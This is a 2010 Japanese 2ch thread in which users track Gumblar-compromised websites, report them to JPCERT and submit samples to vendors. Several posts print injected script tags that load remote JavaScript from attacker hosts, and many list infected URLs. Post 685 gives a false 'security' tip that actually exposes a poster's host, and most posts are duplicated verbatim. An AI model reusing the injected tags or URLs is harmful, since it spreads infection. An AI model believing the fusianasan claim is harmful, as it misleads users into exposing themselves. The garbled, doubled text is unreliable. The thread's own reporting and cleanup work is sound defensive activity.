これでやっと凸先のチェックが出来る…さて頑張りますか
>>619-624
JPCERTに報告しました
「www●ekinavi●sakura●ne●jp/diet/」はnotfoundですか？
>>634
駆除が完了するまでに3回ほどメールで突っ込んでます
おかげさまでもう突っ込む気になれません
ところでさっきからPegel.bc仕込んだhtmlメールが何通も届いて…
637 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:20:09
www●og●sugiyama-u●ac●jp/itogiku/news/list●html
638 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:32:30
>>571
皆さんの善意は尊いですが
誰も見ない細々した陥落サイトが、このスレに報告され、
悪用され、被害拡大している可能性も否定できません
他のスレに張られた例↓
http://pc11.2ch.net/test/read.cgi/sec/1274675964/
http://hideyoshi.2ch.net/test/read.cgi/download/1273831452/484
http://hideyoshi.2ch.net/test/read.cgi/download/1270411236/705
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/47
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/81
http://pc12.2ch.net/test/read.cgi/win/1272505857/80
http://live28.2ch.net/test/read.cgi/news4vip/1275908414/48
前スレにもありましたが、継続的に悪用してる事例↓もありますし、良い知恵はないでしょうか
http://pc11.2ch.net/test/read.cgi/sec/1271787262/926
皆さんの善意は尊いですが
誰も見ない細々した陥落サイトが、このスレに報告され、
悪用され、被害拡大している可能性も否定できません
他のスレに張られた例↓
http://pc11.2ch.net/test/read.cgi/sec/1274675964/
http://hideyoshi.2ch.net/test/read.cgi/download/1273831452/484
http://hideyoshi.2ch.net/test/read.cgi/download/1270411236/705
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/47
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/81
http://pc12.2ch.net/test/read.cgi/win/1272505857/80
http://live28.2ch.net/test/read.cgi/news4vip/1275908414/48
前スレにもありましたが、継続的に悪用してる事例↓もありますし、良い知恵はないでしょうか
http://pc11.2ch.net/test/read.cgi/sec/1271787262/926
639 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:39:39
638荒らし
640 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:27:11
641 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:55:58
>>612
こっそり修正されていますね
こっそり修正されていますね
642 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:57:27
長野鍛工株式会社
魚拓
http://megalodon.jp/2010-0608-2004-07/www.nagatan.co.jp/
中野スタンピング株式会社
魚拓
http://megalodon.jp/2010-0608-2000-49/www.nsc-com.co.jp/
魚拓
http://megalodon.jp/2010-0608-2004-07/www.nagatan.co.jp/
中野スタンピング株式会社
魚拓
http://megalodon.jp/2010-0608-2000-49/www.nsc-com.co.jp/
643 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:17:24
>>638
2chに貼ってあるURLは安易に踏んじゃだめだよ
2chに貼ってあるURLは安易に踏んじゃだめだよ
644 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:28:32
このスレの住人は、奇特なことに当事者や関係機関に通報までしている
当事者はそれを受けて実際に対応していっている
２ちゃんにしては、えらいまともなスレだと思う
>>638みたいなこと感じたこともない
それに>>638が言ってるのは2ちゃん内でのことでしかない
それに関しては>>640と言える
ウイルス貼るなんて特定の人間だから、自分の時間使って荒らし報告してアク禁に追い込めば？
当事者はそれを受けて実際に対応していっている
２ちゃんにしては、えらいまともなスレだと思う
>>638みたいなこと感じたこともない
それに>>638が言ってるのは2ちゃん内でのことでしかない
それに関しては>>640と言える
ウイルス貼るなんて特定の人間だから、自分の時間使って荒らし報告してアク禁に追い込めば？
645 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:35:56
意味不明
646 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:19:31
お前に意味不明
ここは"日本一巨大"な便所の落書きですから
勢いのあるスレでは、まとめサイト含めてページビューは万いきますよね
「安易に踏むのがダメ」で片付けるのはどうなんでしょう
サイト改竄がこれだけあるんですから、一般感染者は数百倍あるかも
前からノートントラップやブラクラスレのURLが悪用されてましたが
Gumblarは性質が悪いです
ここやブラクラスレで張られたURLを含む投稿を
自動的に受け付けないようにできればいいと思ったんですが
自分も時々感染サイトに報告してますし
このスレのみなさんを尊重してますので荒らしとか言わないで
勢いのあるスレでは、まとめサイト含めてページビューは万いきますよね
「安易に踏むのがダメ」で片付けるのはどうなんでしょう
サイト改竄がこれだけあるんですから、一般感染者は数百倍あるかも
前からノートントラップやブラクラスレのURLが悪用されてましたが
Gumblarは性質が悪いです
ここやブラクラスレで張られたURLを含む投稿を
自動的に受け付けないようにできればいいと思ったんですが
自分も時々感染サイトに報告してますし
このスレのみなさんを尊重してますので荒らしとか言わないで
648 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:35:23
649 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:41:21
▽ 板違いと禁止の投稿
セキュリティ関係以外のソフトの話題は板違い。→ 【 Software板 】へ
Winny関連の話題は板違い。→ 【 Download板 】へ
不正アクセスの方法、パスワード・暗号解析など、攻撃方法の話題は禁止です。
荒らし依頼は全ての板で禁止です。
禁止内容の書き込みを発見したら【 削除依頼 】をお願いします。
セキュリティ関係以外のソフトの話題は板違い。→ 【 Software板 】へ
Winny関連の話題は板違い。→ 【 Download板 】へ
不正アクセスの方法、パスワード・暗号解析など、攻撃方法の話題は禁止です。
荒らし依頼は全ての板で禁止です。
禁止内容の書き込みを発見したら【 削除依頼 】をお願いします。
650 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:58:49
>>644
検体拾って提出して、検出率アップにも貢献してるよ
検体拾って提出して、検出率アップにも貢献してるよ
２ちゃんで『リンク安易に踏んじゃダメ』ってのは全く正しいのですが
ここはネット初めて5日以内に辿り着くような巨大掲示板ですから
それを免罪符にするのはどうかと思いますよ
www.kdash.jpやHONDAが改竄されたように
セキュ意識なくても、大手のホームページ担当できるんですから
一般人が引っかかっても責められないです
このスレに感染URLを報告したら
後々責任を持って悪用されていないか調べて削除依頼するというのは
自分も面倒臭いと思います
●皆さんはこのスレに貼られた感染サイトが悪用されて
Gumblar被害の拡大につながっている可能性は"0"だとお思いですか？
スクリプトとかプログラムで自動的に悪用投稿されないような方法が
あると思ったのですが……
ここはネット初めて5日以内に辿り着くような巨大掲示板ですから
それを免罪符にするのはどうかと思いますよ
www.kdash.jpやHONDAが改竄されたように
セキュ意識なくても、大手のホームページ担当できるんですから
一般人が引っかかっても責められないです
このスレに感染URLを報告したら
後々責任を持って悪用されていないか調べて削除依頼するというのは
自分も面倒臭いと思います
●皆さんはこのスレに貼られた感染サイトが悪用されて
Gumblar被害の拡大につながっている可能性は"0"だとお思いですか？
スクリプトとかプログラムで自動的に悪用投稿されないような方法が
あると思ったのですが……
652 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:24:57
悪用してる連中に、その長ったらしい文章で説教して来い
653 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:34:25
>一般人が引っかかっても責められないです
仕事でやってようが趣味だろうが責められるべき
仕事でやってようが趣味だろうが責められるべき
654 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:43:18
>>651
自己責任
自己責任
655 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:03:58
あちこちに貼って回ってる馬鹿の自演だろ
656 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:10:09
>>651
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
■使い方＆注意
http://info.2ch.net/guide/faq.html#B4
【タグ使用やリンクはできるの？】
>★ ワンポイント
>リンクの中には、ブラウザクラッシャ（ブラクラ）やＰＣクラッシャ（コンコン）やエログロ画像等、悪意をこめて貼り付けられたURLがあります。
>被害を未然に防止するためには、むやみにURLをクリックせず、以降の会話の流れやリンク先のソースをブラクラチェッカー等で確認してみてください。
しっかり書いてあるから>>640の通り。以上。
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
■使い方＆注意
http://info.2ch.net/guide/faq.html#B4
【タグ使用やリンクはできるの？】
>★ ワンポイント
>リンクの中には、ブラウザクラッシャ（ブラクラ）やＰＣクラッシャ（コンコン）やエログロ画像等、悪意をこめて貼り付けられたURLがあります。
>被害を未然に防止するためには、むやみにURLをクリックせず、以降の会話の流れやリンク先のソースをブラクラチェッカー等で確認してみてください。
しっかり書いてあるから>>640の通り。以上。
657 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:56:47
658 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 05:33:41
www●alive-kanmoku●com/ansin●html
www●alive-kanmoku●com/bamen-310●html
www●acl-music●jp
www●minatomo●jp/cart/CreProduct●php
iiji●biz/hirameki/
demchik●100free●com/3●html
以上JPCERTに報告済み、ねむい
「acl-music」は通報先にちょっと変わったところを混ぜてみました
www●alive-kanmoku●com/bamen-310●html
www●acl-music●jp
www●minatomo●jp/cart/CreProduct●php
iiji●biz/hirameki/
demchik●100free●com/3●html
以上JPCERTに報告済み、ねむい
「acl-music」は通報先にちょっと変わったところを混ぜてみました
659 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 07:27:04
Adobe Flash Player 10.1.53.64
660 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 08:17:57
getPlusのオマケつきだよ！
661 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:21:42
またgetplusか
まぁどうせコンパネで消すけど……
それにしても出現からもうすぐ一年経つのに「クリーンインストール」っていう最終手段しか感染した場合の対処法の無いヤツも珍しい
スレで報告されてるのが全部じゃないだろうし、いつになったら決着付くのかねぇ
まぁどうせコンパネで消すけど……
それにしても出現からもうすぐ一年経つのに「クリーンインストール」っていう最終手段しか感染した場合の対処法の無いヤツも珍しい
スレで報告されてるのが全部じゃないだろうし、いつになったら決着付くのかねぇ
662 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:45:29
IE版のFlashのオフラインインストーラー版がほしいときは、FirefoxでFlashダウンロードページにアクセスして
他のブラウザ用を選んでIEを選択すれば大丈夫
それだとgetplus不用でgoogleちゃんもついてないオフライン版をゲットできる
ただし、オフライン版は、更新がAdobe DLM版よりおそく、DLM版公開後1日～数日後になったりする
他のブラウザ用を選んでIEを選択すれば大丈夫
それだとgetplus不用でgoogleちゃんもついてないオフライン版をゲットできる
ただし、オフライン版は、更新がAdobe DLM版よりおそく、DLM版公開後1日～数日後になったりする
663 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:47:03
Adobe Flash Player 10.1.53.64
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe
http://download.macromedia.com/pub/flashplayer/current/uninstall_flash_player.exe
直リン
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe
http://download.macromedia.com/pub/flashplayer/current/uninstall_flash_player.exe
直リン
664 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 11:12:08
取扱注意
www●maple-k●com
www●maple-k●com
665 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 11:34:27
>>663
ttp://dreamweavermx2.biz/jp/support/flashplayer/ts/documents/tn_15507.htm
Player のバージョンが10.0.45.2なのと更新日:2010年2月12日というのはなんとかならんのかｗ
ttp://dreamweavermx2.biz/jp/support/flashplayer/ts/documents/tn_15507.htm
Player のバージョンが10.0.45.2なのと更新日:2010年2月12日というのはなんとかならんのかｗ
666 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:16:46
>>665
え？
え？
667 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:48:12
この現状を見ると、デジタル証明書の存在が無意味じゃないか
668 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:59:52
>>663
. ｨ
._ .......､._ _ ／:/l!
:~""''.>ﾞ' "~ ,､､''‐'､| _
ﾞ､'､::::::ﾉ:::::::_,.-=. _～:、 ／_.}'':,
``､/:::::::::__....,._ `ﾞ'Y' _.ｪ-､....._ ／_ﾞ''iﾞﾉ､ﾉ またまたご冗談を
,.--l‐''"~..-_'.x-='"ﾞｰ ､`'-､ ,:' ﾉﾞﾉﾌﾞ
" .!-'",／ `'-‐'') /＼ `/ てﾞノ-〈
.-''~ >'ﾞ:: ‐'"ﾞ./ ヽ.,' ~ ／
／/::::: ', / ,:'ﾞ
. ｨ
._ .......､._ _ ／:/l!
:~""''.>ﾞ' "~ ,､､''‐'､| _
ﾞ､'､::::::ﾉ:::::::_,.-=. _～:、 ／_.}'':,
``､/:::::::::__....,._ `ﾞ'Y' _.ｪ-､....._ ／_ﾞ''iﾞﾉ､ﾉ またまたご冗談を
,.--l‐''"~..-_'.x-='"ﾞｰ ､`'-､ ,:' ﾉﾞﾉﾌﾞ
" .!-'",／ `'-‐'') /＼ `/ てﾞノ-〈
.-''~ >'ﾞ:: ‐'"ﾞ./ ヽ.,' ~ ／
／/::::: ', / ,:'ﾞ
669 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:00:10
( ﾟ,_ゝﾟ)ﾊﾞｶｼﾞｬﾈｰﾉ
670 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:13:50
>>668
またまたご冗談をｗ AA略
またまたご冗談をｗ AA略
671 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:50:47
www●pasar-party●com
672 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:42:45
取扱注意
www●movecafe●com
www●movecafe●com
673 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:57:18
674 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:57:25
675 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 15:10:35
>>672
メル凸済み、反応待ち
メル凸済み、反応待ち
676 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 16:44:06
例によってFlashは少し様子見るか…
677 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 16:48:17
OS再起動したらgetPlusだけ消えてる
どうなってんだ
どうなってんだ
678 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 17:04:55
679 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 17:47:23
>>672
確認できないけど
確認できないけど
680 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:30:35
ttp://uproda.2ch-library.com/255513AD2/lib255513.jpg
変なエロサイトみて適当にクリックしてたら三分おきに↑の画像が表示されるようになったんだけど解決策ありませんか？ 正直うっとおしいです・・・
変なエロサイトみて適当にクリックしてたら三分おきに↑の画像が表示されるようになったんだけど解決策ありませんか？ 正直うっとおしいです・・・
681 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:32:41
「変な」とわかっていてなおかつリンク先を踏んだあなたが悪い
・・・じゃなくてスレ違い
・・・じゃなくてスレ違い
682 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:40:58
こういう相談って
他人事みたいな口ぶりが多いよね
他人事みたいな口ぶりが多いよね
683 ：コテハン ◆8080adndqg ：2010/06/11(金) 18:42:51
【陥落サイトのURL悪用厳禁】
www●hd-cre●com/bj-fh ←eval(base64_decode･･ なんだこれ？
※www●hd-cre●com/より下の階層はたぶん全滅
www●saiwai-estate●net ←再掲載(絶賛放置中)
blog●mensura-zoili●com/archives/2
seikon●nes3●com
凸してくれてる人＞乙です
www●hd-cre●com/bj-fh ←eval(base64_decode･･ なんだこれ？
※www●hd-cre●com/より下の階層はたぶん全滅
www●saiwai-estate●net ←再掲載(絶賛放置中)
blog●mensura-zoili●com/archives/2
seikon●nes3●com
凸してくれてる人＞乙です
ttp://www.ad-theater.com/unpaid.php?sw=0
ちなみにサイトはココです
ちなみにサイトはココです
685 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:39:16
>>638
２ちゃんねる初心者ですか？
書き込む前にSG(セキュリティー・ガード)に登録しないと危険ですよ。
SGに登録せずに書き込んだ場合、
あなたのパソコンがGumblarに感染させられる恐れがあります。
初期の頃から２ちゃんねるにいる方達はかなりのスキルとこのBBSのコマンドを知っています
ですから簡単にあなたの個人情報等を抜かれ、Googleストリートビューで自宅まで公開された人も数多くおり
社会的に抹殺されてしまう。それが２ちゃんねるの隠れた素顔でもあります
SGしておけばまず実行される.ru:8080自体が無効になってしまうので
どんな凄腕ハッカーでもでも罠URLを踏ませる事ができなくなります
SGに登録する方法は、名前欄に「 fusianasan 」と入れる。
これでSGの登録は完了します
一度登録すれば、ブラウザを閉じない限り継続されます。
２ちゃんねるはルールさえ守れば危険な場所ではありません。
しかし悪意を持った人間も確かに存在します。気を付けて下さいね。
fusianasanは、正式にはフュージャネイザン、
又はフュジャネイザンと読みます。
元々はアメリカの学生達の間で、チャットの時に
セキュリティを強化する為に開発されたシステムです。
fusianasanを掲示板に組み込むのは結構面倒なのですが、
２ちゃんにカキコしてたらウィルスに感染したとか、
個人情報が漏れた等の抗議がうざったくなったひろゆきが、
仕方なく導入しました。
悪意のある人間にクラックされる前にSGを施す事をお勧めします。
２ちゃんねる初心者ですか？
書き込む前にSG(セキュリティー・ガード)に登録しないと危険ですよ。
SGに登録せずに書き込んだ場合、
あなたのパソコンがGumblarに感染させられる恐れがあります。
初期の頃から２ちゃんねるにいる方達はかなりのスキルとこのBBSのコマンドを知っています
ですから簡単にあなたの個人情報等を抜かれ、Googleストリートビューで自宅まで公開された人も数多くおり
社会的に抹殺されてしまう。それが２ちゃんねるの隠れた素顔でもあります
SGしておけばまず実行される.ru:8080自体が無効になってしまうので
どんな凄腕ハッカーでもでも罠URLを踏ませる事ができなくなります
SGに登録する方法は、名前欄に「 fusianasan 」と入れる。
これでSGの登録は完了します
一度登録すれば、ブラウザを閉じない限り継続されます。
２ちゃんねるはルールさえ守れば危険な場所ではありません。
しかし悪意を持った人間も確かに存在します。気を付けて下さいね。
fusianasanは、正式にはフュージャネイザン、
又はフュジャネイザンと読みます。
元々はアメリカの学生達の間で、チャットの時に
セキュリティを強化する為に開発されたシステムです。
fusianasanを掲示板に組み込むのは結構面倒なのですが、
２ちゃんにカキコしてたらウィルスに感染したとか、
個人情報が漏れた等の抗議がうざったくなったひろゆきが、
仕方なく導入しました。
悪意のある人間にクラックされる前にSGを施す事をお勧めします。
686 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:45:04
687 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:50:04
688 ：コテハン ◆8080adndqg ：2010/06/11(金) 20:04:48
689 ：59.106.108.43：2010/06/11(金) 20:24:00
>>685
代行でGumblarリンク張る奴もいるからね
http://sports2.2ch.net/test/read.cgi/operatex/1274500251/366
http://anchorage.2ch.net/test/read.cgi/siberia/1274857287/410
http://yutori.2ch.net/test/read.cgi/morningcoffee/1273586556/744
Gumbla拡散に利用されて平気なの？
代行でGumblarリンク張る奴もいるからね
http://sports2.2ch.net/test/read.cgi/operatex/1274500251/366
http://anchorage.2ch.net/test/read.cgi/siberia/1274857287/410
http://yutori.2ch.net/test/read.cgi/morningcoffee/1273586556/744
Gumbla拡散に利用されて平気なの？
690 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 20:53:51
Flash Player更新したがNOSって名前のフォルダが出来てる・・・
コンパネで消した方がいい？
コンパネで消した方がいい？
691 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 21:06:11
shabao●com/public_html/
692 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:32:55
>>684
ここ見たらいいんじゃね
http://wiki●higaitaisaku●com/wiki.cgi?page=%B0%AD%BC%C1%A5%EF%A5%F3%A5%AF%A5%EA%A5%C3%A5%AF%BA%BE%B5%BD%A5%B5%A5%A4%A5%C8%A4%CE%A5%B9%A5%D1%A5%A4%A5%A6%A5%A7%A5%A2
ここ見たらいいんじゃね
http://wiki●higaitaisaku●com/wiki.cgi?page=%B0%AD%BC%C1%A5%EF%A5%F3%A5%AF%A5%EA%A5%C3%A5%AF%BA%BE%B5%BD%A5%B5%A5%A4%A5%C8%A4%CE%A5%B9%A5%D1%A5%A4%A5%A6%A5%A7%A5%A2
693 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:51:11
>>690
気にする必要ないと思われ
気にする必要ないと思われ
694 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:54:49
695 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 01:02:42
http://www.macromedia.com/support/documentation/jp/flashplayer/help/settings_manager09.html
いつのまにFlashにP2P機能がついたんだよ
いつのまにFlashにP2P機能がついたんだよ
696 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 02:09:20
【感染が確認された大手企業一部】
・JR東日本 ・ホンダ ・ローソン ・京王電鉄 ・小林製薬 ・ハウス食品
・ラジオ関西 ・洋菓子販売のモロゾフ など多数
・JR東日本 ・ホンダ ・ローソン ・京王電鉄 ・小林製薬 ・ハウス食品
・ラジオ関西 ・洋菓子販売のモロゾフ など多数
697 ：fusianasam：2010/06/12(土) 08:39:17
test
698 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 11:25:06
699 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 14:29:01
これってFireFox のオプションの詳細、一般の中のアクセシビリティの
Web ページの自動転送、再読み込み禁止で警告させることは
出来ないのでしょうか
Web ページの自動転送、再読み込み禁止で警告させることは
出来ないのでしょうか
700 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 15:42:00
701 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 16:11:38
22 名前：（○口○*）さん 投稿日：10/06/12 15:43 ID:h5XAfxXp0
kazoeru■com
誤爆すんなｋｓｇ
kazoeru■com
誤爆すんなｋｓｇ
702 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 16:24:38
ただでさえバグが多いFlash、いままではネットマーク周りはブラウザ依存だったからよかったものの、
P2P機能がついたりストリーミング機能ついたりして直接ネットワークアクセスなんてされたら、
どんなバグが潜んでるかかわからん
P2P機能がついたりストリーミング機能ついたりして直接ネットワークアクセスなんてされたら、
どんなバグが潜んでるかかわからん
703 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:18:40
>>695
なにそれこわい…
>>701
http://www.virustotal.com/jp/analisis/613e307ea2d0993c75f4494e4061e520e2069d6aeee5834352d0ec9fc47c7c96-1276329681
AviraとKasperskyに検体を提出、返事待ち
なにそれこわい…
>>701
http://www.virustotal.com/jp/analisis/613e307ea2d0993c75f4494e4061e520e2069d6aeee5834352d0ec9fc47c7c96-1276329681
AviraとKasperskyに検体を提出、返事待ち
704 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:37:38
705 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:40:33
>>695のパネルで「常に拒否」にしたんだけど、それでOK？今後も何かしないと
穴開けられる可能性あるのかな。
穴開けられる可能性あるのかな。
706 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:55:34
いっそflashplayerをアンインスコするのも手だと思うんだ
多少不便にはなるかもしれないがセキュリティにはかえられない
多少不便にはなるかもしれないがセキュリティにはかえられない
707 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:05:06
【陥落サイトのURL悪用厳禁】
www3●pf-x●net/~lau ←絶賛放置中
8080のコードがぶった斬られて
<script type="text/javascript" src="http～中略～.js"></script>
なんだこれ？
www●creativeholic●sakura●ne●jp/creativeholic/ ←web屋 カスがｗ
ここにも<script type="text/javascript" src="http～中略～.js"></script>
houritusoudan●net/
やっぱり<script type="text/javascript" src="http～中略～.js"></script>が入ってる
www3●pf-x●net/~lau ←絶賛放置中
8080のコードがぶった斬られて
<script type="text/javascript" src="http～中略～.js"></script>
なんだこれ？
www●creativeholic●sakura●ne●jp/creativeholic/ ←web屋 カスがｗ
ここにも<script type="text/javascript" src="http～中略～.js"></script>
houritusoudan●net/
やっぱり<script type="text/javascript" src="http～中略～.js"></script>が入ってる
708 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:10:13
連投スマソ
【陥落サイトのURL悪用厳禁】
www●aoyamabc-online●com/
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--06f0d0ddde5fbe2387a6bdb4452f234a-->
8080がコードを変更した可能性あり。
【陥落サイトのURL悪用厳禁】
www●aoyamabc-online●com/
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--06f0d0ddde5fbe2387a6bdb4452f234a-->
8080がコードを変更した可能性あり。
709 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:34:37
【陥落サイトのURL悪用厳禁】
www●hekimen-ryokuka●com/rss/index●php ←今までのやつ
www●7500zei●com/ ←例のHP更新代行業者
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--d2392c04537c5eaf61fe86d1998535a1-->
katusika●net/base/
↓
<script type="text/javascript" src="http～中略～.js"></script>
<!--7e388d5d98d4fbb4bc9eb21bd27c9815-->
www●hekimen-ryokuka●com/rss/index●php ←今までのやつ
www●7500zei●com/ ←例のHP更新代行業者
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--d2392c04537c5eaf61fe86d1998535a1-->
katusika●net/base/
↓
<script type="text/javascript" src="http～中略～.js"></script>
<!--7e388d5d98d4fbb4bc9eb21bd27c9815-->
710 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 18:49:19
>>706
利便性と両立できないようなセキュリティ対策はゴミだよ。
利便性と両立できないようなセキュリティ対策はゴミだよ。
711 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 19:12:49
llife●sakura●ne●jp/fubo/kyuusyuukonnkatu/
712 ：コテハン ◆8080adndqg ：2010/06/12(土) 20:03:21
【陥落サイトのURL悪用厳禁】
新型8080(？)っぽいやつ
<script type="text/javascript" src="http～中略～.js"></script>
<!--32文字の英数字-->
↓
canyonhardware●com
d-pic●net/repo/index●html ←絶賛放置中のとこ
電話用のサイトだが･･･
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392
コードがHEXされとるのがあった
新型8080(？)っぽいやつ
<script type="text/javascript" src="http～中略～.js"></script>
<!--32文字の英数字-->
↓
canyonhardware●com
d-pic●net/repo/index●html ←絶賛放置中のとこ
電話用のサイトだが･･･
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392
コードがHEXされとるのがあった
713 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 20:37:30
>>710
動画サイト見ないやつはべつにいいだろ
動画サイト見ないやつはべつにいいだろ
714 ：コテハン ◆8080adndqg ：2010/06/12(土) 20:57:42
>712
訂正
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392F
末尾のFが脱落してたorz
訂正
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392F
末尾のFが脱落してたorz
715 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 23:34:16
716 ：あんちたった ◆MOTO.0SDfQ ：2010/06/13(日) 00:10:09
717 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 01:49:01
acl-musicのURLをGredで覗いて大爆笑ｗ
あそこは色々な意味で期待を裏切りません
いろいろ忙しくて報告が遅れちゃったので詳細は端折りますけど、
>>701-714までにあるURLは報告済みの反応待ち
これからチェックしようと思ったんですが、Gredがちょっとご機嫌斜め
うまくいかないもんですねえ…
あそこは色々な意味で期待を裏切りません
いろいろ忙しくて報告が遅れちゃったので詳細は端折りますけど、
>>701-714までにあるURLは報告済みの反応待ち
これからチェックしようと思ったんですが、Gredがちょっとご機嫌斜め
うまくいかないもんですねえ…
718 ：コテハン ◆8080adndqg ：2010/06/13(日) 04:09:23
>>717 乙乙
【陥落サイトのURL悪用厳禁】
tw13●net/vogue/S-MX/index●html ←相変わらず絶賛放置中
8080のコードが途中でぶった斬られて
↓
<script type="text/javascript" src="ｈttp：／／blog●bigsophieblog●com／OCR●js"></script>
<!--b8bc4160235ef97212335c7af60aeda7-->
houritusoudan●net/
↓
<script type="text/javascript" src="ｈttp:／／blog●bigsophieblog●com／Finder●js"></script>
<!--3edc66f8132dfa1d633ac8c343d2e74e-->
謎の新型の飛び先は
blog●bigsophieblog●com/～.js
sogpaoiy●the-mlmpowercall●com/～.js
この２つに集中してるみたい(現時点では)
お馴染みの激しい難読化されたやつ
shabao●com/public_html/top_footer ←既出だったかな？
www●saihu-shop●com/rss/index●php
あきた(から)ねる･･
【陥落サイトのURL悪用厳禁】
tw13●net/vogue/S-MX/index●html ←相変わらず絶賛放置中
8080のコードが途中でぶった斬られて
↓
<script type="text/javascript" src="ｈttp：／／blog●bigsophieblog●com／OCR●js"></script>
<!--b8bc4160235ef97212335c7af60aeda7-->
houritusoudan●net/
↓
<script type="text/javascript" src="ｈttp:／／blog●bigsophieblog●com／Finder●js"></script>
<!--3edc66f8132dfa1d633ac8c343d2e74e-->
謎の新型の飛び先は
blog●bigsophieblog●com/～.js
sogpaoiy●the-mlmpowercall●com/～.js
この２つに集中してるみたい(現時点では)
お馴染みの激しい難読化されたやつ
shabao●com/public_html/top_footer ←既出だったかな？
www●saihu-shop●com/rss/index●php
あきた(から)ねる･･
719 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:30:21
ここの人たちって
どうやって感染サイト探してるの？
虱潰し？
とにかくすごいね
どうやって感染サイト探してるの？
虱潰し？
とにかくすごいね
720 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:38:49
コードで検索
721 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:43:16
>>720
なるほど
なるほど
722 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:45:56
「Adobe AIR 2」正式版公開、高速化やOSとの連携強化、セキュリティ修正も
http://internet.watch.impress.co.jp/docs/news/20100611_373777.html
これはAdobe AIRにもFlashゼロデイ攻撃の脆弱性が含まれてたということだよな
http://internet.watch.impress.co.jp/docs/news/20100611_373777.html
これはAdobe AIRにもFlashゼロデイ攻撃の脆弱性が含まれてたということだよな
